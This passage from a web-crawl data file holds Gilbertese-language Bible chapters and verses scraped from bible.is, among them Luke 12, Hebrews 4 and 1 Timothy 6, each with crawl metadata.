tataro ao n ana buobuoki Taamnein Iesu Kristo, ao e na riki aei nako iu ae N na boni kainaomataaki, 20 n ai aron nanou ae e korakora ma au kaantaninga bwa N na aki maamaa n te bwai teuana, ma N na rangi n ninikoria n taetae n ai aron aroarou n taai nako ao ngkai naba, ni kaota neboakini Kristo n rabwatau, tao ni maiuu ke ni mateu. 21 Bwa maiuu bon ibukini Kristo, ao mateu boni kakabwaiau. 22 Ma ngkana e na anganai au tai ni karaoi mwakuri riki aika a manena maiu n te rabwata, ao I aki ataa ngkanne ae N na rineia. 23 Ma e katikaki nanou ni baika uoua, bwa I kan nako ni mena irouni Kristo; bwa moan te raoiroi aei. 24 Ma e manena riki iroumi tiku ni maiu. 25 I aki nanokokoraki n aei, ao I ataia bwa N na bon tiku ni maiu, ao N na reitaki ma ngkami ni kabane bwa a aonga n rikirake ami onimaki ma ami kimwaareirei iai. 26 Ao bwa e aonga ni kabatiaaki kakatongami irou, ngkai kam katiteuanaaki ma Kristo Iesu ni maiumi, ni manga rokou iroumi. 27 Kam na ti kaakaraoa ae e booraoi ma nanon ana euangkerio Kristo; bwa ngkana I roko n nooringkami, ke ngkana tao I mena n te tabo teuana, ao I kan ongo rongorongomi, bwa kam tei matoa n aromi ni maiu bwa kaanga te taamnei ae ti teuana, ni kakorakoraingkami bwa kaanga te aomata ae ti temanna, ibukin te onimaki are e reke man te euangkerio; 28 ao kam na tai maaku n te bwai teuana irouia ake a ekiingkami nako. Aromi aei bon te bwai ni kakoaua nako ia bwa a na boni konaaki, ao nakoimi bwa kam na bon tokanikai, bwa te baei boni mai iroun te Atua. 29 Bwa kam anganaki ibukini Kristo tiaki ti te onimakinna, ma te bwainikiriinaki naba ibukina. 30 Kam a rin ngkai n te buaka ae ti te bo ma are kam a tia n noorai iai ngkoa, ao n aron ae kam ongo iai ngkai bwa ae I mena naba i nanona.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Phil\/1","date":"2013-05-25T04:09:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705502703\/warc\/CC-MAIN-20130516115822-00068-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":845,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.456,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:18\n18 Ma ngaia aei, ngkai a kabuaakakaaki aomata ni kabaneia ibukin te bure ae ti teuana, ao ai arona naba, bwa a na bane aomata nako ni kainaomataaki ma n anganaki te maiu n te mwakuri ae e raoiroi ae ti teuana.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/18","date":"2013-06-19T23:48:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368709906749\/warc\/CC-MAIN-20130516131146-00047-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":61,"character_repetition_ratio":0.025,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:6\n6 Ao te newe ai aron te ai. Bwa te newe kaanga te aonnaba ae e on n te buaakaka i buakoni bwain rabwatara nako; e kamwaraaea te rabwata ni kabane, ao kaanga ae e kaurarakea maiura ae e bwanin n uran te ai mai Keenna.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/6","date":"2013-05-24T06:53:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704253666\/warc\/CC-MAIN-20130516113733-00060-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000063181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000063180923462}","num_words":65,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.323,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:34\n34 A takaaruaea te bwai teuana temwaangina i buakon te koraki arei, ao temwaangina te bwai teuana; ma ngaia are ngke e aki konaa n ataa te koaua ibukini mangaoia aomata, ao e tua bwa e na kairaki Bwauro nakoni nneia tautia are e matoatoa.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/34","date":"2013-05-19T15:57:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368697772439\/warc\/CC-MAIN-20130516094932-00074-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000034571,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000003457069397}","num_words":64,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.297,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ma ngaia aei, ngkai ti anganaki te taeka n aakoi ibukin te rin i nanon ana motirawa te Atua, ao ti na taraia raoi bwa e kaawa ni kuneaki temanna i buakomi bwa e aki tau n rin iai. 2 Bwa e a tia n taekinaki te euangkerio nakoira, n ai aroia; naba; ma e matebuaka irouia te rongorongo are a ongo, bwa a aki bwaina naba te onimaki are e reke irouia te koraki ake raoia n ongoraa. 3 Ngaira ngkanne, aika ti onimaki, ti a rin i nanon te motirawa arei; n ai aron are E taekinna te Atua ni kaangai, Ma ngaia are I taetae n tuea iai ngke I un, Bwa a na aki rin i nanon au motirawa. E taekina aei, e boni ngae ngke a kaman tia ana mwakuri ma ngke a moani karikaki aonnaba. 4 Bwa E taekina te kaitibong n te tabo teuana ni kaangai: E motirawa te Atua n te kaitibong man ana mwakuri ni kabane. 5 Te bwai naba aei e a manga taekinaki naba ni kaangai: A na bon aki rin i nanon au motirawa. 6 Te koraki ake a moa n ongo te rongorongo ae e raoiroi are taekan te motirawa e aki reke nakoia te motirawa anne, ibukin aia aki-ongeaaba. Ma iai ngkanne tabemwaang aika a kariaiakaki bwa e na reke nakoia. 7 E kaotaki aei n aron te Atua ni baairea te bong teuana, ae e aranaki bwa Te bong aei; ngke E kaangai iroun Tawita, i mwiin ririki aika a bati, n ai aron are e a tia n taekinaki: Ngkana kam ongo bwanaana n te bong aei, Ao kam na tai kamatoatoai nanomi. 8 Bwa ngke arona bwa e anganiia aomata Iotua te motirawa, ao E aki manga taekina te bong ae tebongina te Atua i mwiini baikai. 9 Ma ngaia ae bon iai te motirawa-n-taabati nakoia ana aomata te Atua. 10 Bwa ane e rin i nanon ana motirawa te Atua, ao e boni motirawa man ana mwakuri, n ai aron te Atua ngke E motirawa naba man ana mwakuri. 11 Ma ngaia ae ti na kakorakoraira ni kan rin i nanon te motirawa arei, bwa e kaawa temanna ni bwaka, ni kaototoongiia te koraki arei ibukin aia aki-ongeaaba. 12 Bwa e maiu ana taeka te Atua, ao e mwamwakuri ao e kakang riki nakoni kabaang aika uaitera wiia ni kabane, ao e ewara nako te aomata nakon te tabo are a kaaitibo iai te maiu ma te taamnei, ao taian toma n rii ma kanoan rii; ao e atai raoi ana iango te nano ma baika a riki iai. 13 Bon akea te bwai teuana ae e karikaki ae e na raba mai irouna; ma a bane bwaai ni kaakiaki rabunaia ma ni kaotaki raoi i matan Teuare Ngaia ae ti nangi taekin arora nakoina. 14 Ma ngaia aei, ngkai iai ara ibonga ae moanibaan te kakannato, are E a ta n ri buakon taiani karawa, are Iesu are Natin te Atua, ao ti na taua are ti a tia n taekinna ibukina. 15 Bwa ara ibonga ae e kakannato bon tiaki ae e aki konaa te nanoangaira ibukini mamaarara, ma bon ae e kariiriiaki ni bwaai ni kabane n ai arora, ma E aki bure. 16 Ma ngaia ae ti na tai maaku ni kaania ana kaitokanuea te Atua are e aakoaki te aba iai, bwa ti aonga n anganaki te nanoangaaki, ao ti aonga ni karekea te aakoaki ngkana a kai nanora..","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Heb\/4","date":"2013-05-25T12:11:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368705948348\/warc\/CC-MAIN-20130516120548-00083-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":567,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.469,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"ROM 5:2\n2 are E a tia ni karekea angara n te onimaki bwa ti na roko i nanon te aakoaki aei, ae ti mena iai ngkai; ao ti kakatonga ni kaantaningaan te neboaki ma te Atua.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/5\/2","date":"2013-05-22T06:19:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368701409268\/warc\/CC-MAIN-20130516105009-00070-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9999967813491821}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.37,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 3:21\n21 E eki nako ngkanne ana taeka n aakoi te Atua te Tua? E bon aki; bwa ngke arona bwa e anganaki te aba te tua ae e konaa te kakamaiu, ao a konaa ngkanne n reke reitakiia aomata ni kabaneia ma te Atua n iran nanon te tua anne.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/3\/21","date":"2013-05-20T20:43:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368699201808\/warc\/CC-MAIN-20130516101321-00091-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000053644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000053644180298}","num_words":69,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:19\n19 Ngke e tia ni kamauriia Bwauro, ao e a karakina ngkanne taekan te bwai teuana i mwiin teuana ni baike E karaoi te Atua ri nanon ana mwakuri ni mitinare i buakoia aomata aika tiaki I-Iutaia.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/19","date":"2013-06-18T21:45:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707434477\/warc\/CC-MAIN-20130516123034-00017-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000044107437134}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 1:16\n16 ao e tau itoi aika itiua i nanoni baina are ataina, ao e oti nako mai wiina te kabaang ae e kakang ae uaitera wina; ao taraan ubuna ai aron taai ae e korakora riringana.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/1\/16","date":"2013-05-20T08:58:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698693943\/warc\/CC-MAIN-20130516100453-00022-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":0.9996802807,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9996802806854248}","num_words":56,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.268,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Aomata aika tooro aika a mena i aan te amo n toronaki a riai n iangoiia oin aia toka bwa a riai ni kabatiaaki karineaia, bwa e aonga n taekinaki ni kamoamoaaki te Atua ma ara reirei. 2 Ao tooro aika Kristian aia toka, a na tai kaakeai boonganaia ibukina ngkai raoia ni Kristian; ma a na kabatiaa riki te kan toro irouia, bwa kioina ngkai te koraki akanne akana a kabwaia n aia mwakuri n toro bon taan onimaki aika a tangiraki. 3 Ngkana iai temanna ae e reireiia aomata te koaua ae e kaokoro, ao e aki booraoi nanona ma taeka ni koaua aika ana taeka ara Uea are Iesu Kristo, ao e aki booraoi naba ma koauan te Aro ni Kristian, 4 ao bon te aomata ngaia ae e kainikatonga ao e nano roo. E babaaeakina te kan tititiraki ma te kauntaeka, aika e riki maiai te bakantang, ma te unra, ma taetaebuaka, ma iango ni katautau aika a aki raraoi, 5 ma aia meremere n tai nako aomata aika a babanga n iango, aika akea irouia te koaua. A taku n aia iango bwa tauan te Aro boni ngaia ae e reke maiai te kaubwai. 6 Ma bon iai te kaubwai ae e bati n tauan te Aro iroun te aomata, ngkana e rauaki nanona n are e reke irouna. 7 Bwa bon akea te bae ti uotia nako aon te aba, ao bon akea te bae ti na uotia nako mai aon te aba; 8 ma ngkana iai karara ma kunnikaira, ao a na rau nanora iai. 9 Ma akana a kan riki ni kaubwai a bwaka nako nanon te kariiriiaki, a mwane n te bwai ni kamwaamwane, ao a reke n naano aika a baba ma ni kammaraki aika a taonaki ni kabwabwaaki iai n tiringaki ma ni kamateaki. 10 Bwa te baki-tianti boni ngaia ae a nako maiai aaro nako aika a buaakaka. Iai tabemwaang aika a rangi ni baki-tianti n te aro are a kiitana iai te onimaki, ao a uruaki nanoia n te aro ae a rawaawata iai. 11 Ao ngkoe, ae ana aomata te Atua, ko na kararoako mani baikai, ao ko na kataa ae ko kona, ni karaoa nanon te Atua, ni maiu n reitaki ma Ngaia, ni bwaina te kakaonimaki ma te maiu n tangira, ma te taotaonaki n nano, ma te nimamannei. 12 Ko na kekeiaki mwaaka n te kaboo biri mwaaka ae bwain te onimaki, ao karekea te maiu are e aki toki bwa kaniwangam; bwa ngaia aei te maiu are E weteiko nako iai te Atua ngke ko moani kaota iai am onimaki i mataia taani kakoaua aika a bati. 13 I tuangko i matan te Atua, ae e anga te maiu nakoni bwaai ni kabane, ao i matani Kristo Iesu, are e kaota tauanibukin te koaua are e raoiroi i matani Bontio Birato, 14 bwa ko na rangi n ongotaeka nakoni baike ko a tia n tuangaki, ma ni kakaonimaki nako iai ni karokoa rokon ara Uea are Iesu Kristo; 15 are e na kaotaki rokona n te tai ae e riai iroun te Tia Tautaeka ae e karaoiroaki ae ti temanna, ae aia Kiing kiing, ao aia Uea ueea; 16 ae ti Ngaia ae e aki maamate, ae e maeka n te oota are e aki konaaki ni kawaraki; akea te aomata ae a tia n nooria, ao akea ae e konaa n nooria. Ana bwai te karineaki ma te mwaaka ae e aki tootoki. Amene. 17 Ko na tuangiia akana a kaubwai ni bwain te maiu aei, bwa a na tai kainikatonga ao a na tai onimakina te kaubwai ae e aki teimatoa; ma a na onimakina te Atua, ae e kabane bwaai ni kabatiai n anganiira bwa ti na kukurei iai. 18 A na kaakaraoa ae e raoiroi, a na kabatii mwakuri aika a riai, a na maiu n tituaraoi, ao a na tauraoi ni buokanibwai n aia bwai; 19 ao n te aro aei a kaiko iai kaubwaia ae e na riki bwa aaia ae e raoiroi ibukini boong aika a na roko, bwa e aonga n reke irouia te maiu ni koaua. 20 Timoteo, ko na kaawakina te baere ko mwiokoaki iai. Ko na tannako mani bwarantiko aika akea nanoia aika a aki itiaki, ao man iango ni kauntaba aika kanoan te baere e aki tau n aranaki bwa te Rabakau; 21 are a kaotatauanibukina tabemwaang, ao a riki ni bua iai aia onimaki. E na mena iroumi te aakoaki.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Tim\/6","date":"2013-05-21T15:48:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700168711\/warc\/CC-MAIN-20130516102928-00081-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":731,"character_repetition_ratio":0.039,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:24\n24 Ma ngkana tao a bane n taetae ni buraabeti ao e rin temanna ae e aki onimaki ke temanna ae e kan rin n te ekaretia ma e tuai n rin, ao e na namakinna bwa bon te tia bure ngaia, n ongoraana ni bwaai ni kabane ake a taekinaki, ao e na motikaki naba taekana iai;\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/24","date":"2013-06-19T11:47:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708739983\/warc\/CC-MAIN-20130516125219-00083-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":77,"character_repetition_ratio":0.032,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ao ngkekei naba, ngke a bootaki aomata aika rangi ni mwaiti n te aro are a rangi ni iribwaribwa, ao E taku Iesu nakoia moa ana reirei, Kaawakiningkami man aia iiti Bwaritaio are te mwaamwanaa-te-aba. 2 Akea te bwai ae e rabunaki ae e na aki kaotaki, ao ae e karabaaki ae e na aki ataaki. 3 Bwa ane kam taekinna n roon te bong ao e na ongoraaeakinaki n ootan te ngaina, ao ane kam wirikirikiia i nanon te ru ni matuu, ao e na taekinaki i aon taubukin auti. 4 I tuangkami ngkami aika raou, bwa kam na aki maakuia te koraki akana kamatea te rabwata, ao akea riki te bae a konaa ni karaoia i mwiina. 5 Ma N na tuangkami ae kam na maakua: kam na maaka Teuare e konaa n tetewe nako Keenna, ngkana E a tia n kamaamate; eng, I tuangkami bwa kam na maakua. 6 Tiaki a kabooaki niiman tibwaaro n te boo ae e rangi n uarereke? ao akea temanna ae E mwaninga taekana te Atua. 7 Ao ae e moamoa riki, a ataaki mwaitin iran atuum i. Kam na aki maaku; kam boongana riki nakoia tibwaaro aika bati. 8 Ao I taku nakoimi, bwa ane e kaotia i mataia aomata bwa raou ngaia, ao Natin te Aomata e na manga kaotia i mataia ana anera te Atua bwa raona ngaia; 9 ma ane e kaakeaai i mataia aomata, ao e na kaakeaaki i mataia ana anera te Atua. 10 Ane e atonga ae e buaakaka nakon Natin te Aomata, ao e na kabwaraaki ana bure; ma ane e taetaebuakaa te Taamnei are e Raoiroi, ao e na aki kabwaraaki ana bure. 11 Ngkana a katikiingkami nako mataia akana bootaki ni mwaneabaia I-Iutaia ao nakoia taan tautaeka ma ueea, ao tai raraoma n are kam na taekin bwa a kangaa ami kaeka, ke a na tera are kam na atong; 12 bwa E na reireiningkami te Taamnei are e Raoiroi n te aoa naba arei ami taeka akana riai bwa kam na atong. 13 Ao e taku temanna i buakoia aomata aika bati nakon Iesu, Te Tia Reirei, Tuanga tariu bwa e na tibwai i marenau ma ngaia, ana bwai tamara ake a tiku i mwiini matena. 14 Ao Ngaia E taku nakoina, Nao, antai ae e karaoai bwa te tia moti ke te tia tibwa i aomi? 15 Ao E a manga taku riki nakoia, Tarataraingkami, ao kaawakiningkami man te mataai ni kanibwaibwai ni kabane; bwa maiun te aomata, e aki mena n ana bwai, e ngae ngkana a reke irouna ni mwaiti. 16 Ao E taekina te rongorongo ni kabootau nakoia, ao E kaangai, E bati n uaa aban te aomata temanna ae e kaubwai; 17 ao e kaangai i nanona, Tera ae N nang karaoia, bwa akea te tabo ae N na kaawakin iai au uaa? 18 Ao e taku, N na karaoa aei: N na urui nnen au uaa, ao N na manga katei aika abwaabwaki riki; ao N na kaawakin iai au uaa ni uiita ni kabane ma au bwai nako. 19 Ao N na kaangai nakoiu, Nao, a bati am bwai aika a kaawakinaki ibukin ririki aika na roko; aoriko amwarake, mooi, ao kimwaareirei. 20 Ma E taku te Atua nakoina, Te nanobaba! N te tairiki aei, ao e na anaaki maium mai iroum; ao bwaai akana ko a tia ni katauraoi, antai ae e na bwaini? 21 Ane aron te bae e na riki nakon te aomata ae e kaiko bwaai ibukina ngke e ataaki iroun te Atua bwa e aki kaubwai. 22 E taku Iesu nakoia ana reirei, Ma ngaia ae I taku nakoimi, Tai iango n raraoma ibukini maiumi bwa tera ae kam na kanna; ao ibukin rabwatami bwa tera ae kam na kunnikaia iai. 23 Bwa e kakaawaki riki te maiu nakon te amwarake, ao te rabwata nakon te kunnikai. 24 Kam na iangoi aroia reeben: a aki unuuniki ao a aki bobooti uaa ngkana a tai; ake a naba teutana aia titoa ni bwai, ma E kakaamwarakeia te Atua. Ai mwaitira kakaawakimi nakoia mannikiba! 25 Antai i buakomi, ibukin raraomana, ae e konaa ni kaananaua ana tai ni maiu nakon ae teuana riki te bong? 26 Ngkana ngaia bwa kam aki konaa ni karaoa te bwai ae e uarereke ae ai aron anne, ao e aera bwa kam na iango n raraoma ibukini bwaai akekei? 27 Kam na iangoi aroia kiebu bwa a kangaa n rikirake: a aki mwamwakuri ao a aki bibinoka; ao I taku nakoimi bwa e bon aki kunnikaiaki Toromon, n ai aron tekaina i buakon aikai, e ngae ngke e kaubwai. 28 Ma ngkana e kunnikaiaki iroun te Atua te uteute ae e maiu ngkai ao e karenakoaki nakon nanoni nnen te ai ningaabong, ao ai mwaitira riki ana kani kunnikaingkami, ngkami aika karako ami onimaki? 29 Ao ngkami, tai ukoukori kanami ao nimami, ao tai nanokokoraki. 30 Bwa a ukoukori baikai ni kabane bootanaomata i aonnaba; ao Tamami, E ataia bwa kam kainnanoi. 31 Ma kam na ukoukora ueana, ao e na raonaki ni baikai nakoimi. 32 Tai maaku, ngkami aika karako mwaitimi bwa E kukurei Tamai n anganingkami ueana. 33 Kam na kaboo nako ami bwai, ao anga mwaneia bwa bwai n tituaraoi nakoia akana akea aia bwai; kareke ami bwauti-ni-mwane aika a na aki riki ni mwane, ma baika a kakaawaki aika a na aki konaa ni bane i karawa, ike e aki rooroko iai te tia ira, ao e aki uruuru bwaai iai te koa. 34 Bwa ike a mena iai ami bwai, ao a mena naba iai nanomi. 35 Kam na bwaina te tauraoi, ao a na ura ami taura, 36 ao kam na katootoongia aomata ake a kaantaninga rokon aia mataniwi ngkana e oki man te baka bwa a na kauka te mataroa nakoina n te tai naba are e roko iai ni karebwerebwe. 37 A kabwaia tooro akana e nooria te mataniwi bwa a tabe n tantani ngkana e roko; e koaua ae I a tuangkami bwa e na kabaea nuukana ao e na katekatekaia bwa a na amwarake, ao e na roko n touati i bukiia. 38 Ngkana e roko n te nuuka ni bong ke n te kaarangaina, ao e nooriia bwa a tantani, ao a kabwaia tooro akanne. 39 Ma kam na ataa aei, bwa ngke arona bwa te aomata are ana auti te auti e a kaman ataa te aoa are e na roko iai te tia ira, ao e na kamarurungnga n tantani bwa e na aki karekea ana tai te tia iraa n urua oon te auti bwa e na rin. 40 Ao ngkami naba, kam na bwaina te tauraoi; bwa ane e na roko Natin te Aomata n te aoa are kam aki kaantaningaia bwa E na roko iai. 41 E taku Betero, Te Uea, Ko taekina te rongorongo ni kabootau aei i bukira, ke i bukiia aomata ni kabaneia? 42 Ao E taku te Uea, antai te touati ae e kakaonimaki ae e wanawana, are e na mwiokoaki iroun ana mataniwi bwa e na tararuaia ana toro, n angania kanaia ake a tia ni baaireaki n taiia? 43 E a kabwaia te toro ae e nooria ana mataniwi ngkana e roko bwa e tabe iai. 44 E koaua ae I a tuangkami bwa ane e na karikia bwa mataniwiin ana bwai ni kabane. 45 Ma ngkana e kaangai te toro arei i nanona, E baenikai n roko au mataniwi; ao e moana oreaia tooro mwaane ma tooro aine, ao e amwarake ma ni mooi, ao e kakoroa ni manging; 46 ao teuare ana mataniwi te toro arei, e na roko n te bong ae e aki kaantaningaia iai, ao n te aoa ae e aki ataia, ao e na korouaia ni kamwakorokoroa, ao e na kaakia i rarikiia ake a aki kakaonimaki. 47 Ao te toro ae e ataa nanon ana mataniwi, ma akea ana kekeiaki nakoni karaoana, e na oreaki ni karawataaki. 48 Ma ane e aki ataia, ao e karaoa ae e na oreaki iai, e na oreaki ni karaurau. Ane e anganaki baika a bati, ao e kaantaningaaki rekeni baika a bati mai irouna; ao ane e mwiokoaki ni baika a bati irouia aomata, ao a na kabatiai riki baika a na kaauakin mai irouna. 49 I roko bwa N kabuoka te aonnaba, ao tera ngke arona bwa e a kaman tia n ura aina! 50 Iai te bwaabetiito ae N nang bwabetitaki iai; ai te rawaawata tera ae e taonai ni karokoa e tia! 51 Kam taku bwa I roko ni uota te raoi. I bon aki ma I uota te iraraaure. 52 Bwa ni moa mangkai, ao ane e na bwenaua te utu teuana ae niiman kaaina, bwa teniman ni kaaitaraia uoman, ao uoman ni kaaitaraia teniman; 53 te karo, e na eekaanako natina te mwaane, ao te nati te mwaane e na eekaanako tamana; te tina, e na eekaanako natina te aine, ao te nati te aine, e na eekaanako tinana; te aine, e na eekaanako buun natina te mwaane, ao buun te nati te mwaane e na eekaanako tinani buuna. 54 Ao E taetae naba nakoia aomata ni kaangai, Ngkana kam noora te nang bwa e oti ni waerake mai maeao, ao kam a kaangai naba, E a kaani bwaka te karau ae e korakora; ao e boni koaua. 55 Ao ngkana kam ataia bwa e kare te ang mai maiaki, ao kam kaangai, E na rangi ni kabuebue; ao e boni koaua. 56 Ngkami aika taani mwaamwanaa te aba, iai am konaa n atai nanoni kanikina i aon te aba ma karawa, ma e aera ngkai kam aki konaa n ataa nanon te tai aei? 57 Ao e aera bwa kam aki baairea ae kam taku i bon iroumi bwa e eti? 58 Ngkana ko nako ma te aomata are e bukiniko nakon te tia moti, ao ko na kataa ae ko konaa ni karekea te raoi i marenam ma ngaia i aon te kawai, bwa e kaawa ni katikiko nakon te tia moti, ao te tia moti e na anga ngkoe nakon te bureitiman, ao te bureitiman e na kaakiko i nanon te karabuuti. 59 I taku nakoimi bwa ko na bon aki konaa n oti nako ni karokoa ko a tia ni kabwakaa ni kabanea mwaitin am taarau.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/12","date":"2013-05-19T00:47:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696383077\/warc\/CC-MAIN-20130516092623-00054-ip-10-60-113-184.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1668,"character_repetition_ratio":0.042,"word_repetition_ratio":0.0,"special_characters_ratio":0.244,"stopwords_ratio":0.466,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Ma ngaia ae I kani kauungaia unimwaane akana a mena i buakomi, ngai ae bon te unimwaane naba, ao te tia noora Kristo n arona ni maraki, ao te tia buokanibwai n te neboaki are e nang kaotaki: 2 kam na tararuaa raoi ana nanai te Atua ma ni kaawakinna raoi, tiaki n te aro ae kam kairoroaki iai; ma kam na kaawakinna ma te nano ni kukurei n ai aron nanon te Atua. Kam na kaawakinna naba, tiaki ibukin te kanibwaibwai n te aro ae e aki riai, ma ibukina bwa bon iai nanomi ae e korakora nako iai; 3 ao tai tau-taekaniia akana a mena i aan ami tararua, ma kam na riki bwa banna ni kakairi nakon te nanai. 4 Ao ngkana E a manga oki te Tia Kaawakin-tiibu are te Mataniwi, ao e na reke iroumi te bau are te neboaki are e aki konaa n rai. 5 Ao i bukimi ngkami aika kam ataei riki: kam na aan-taeka irouia unimwaane. Ao kam na bwaina te nanorinano n aromi n 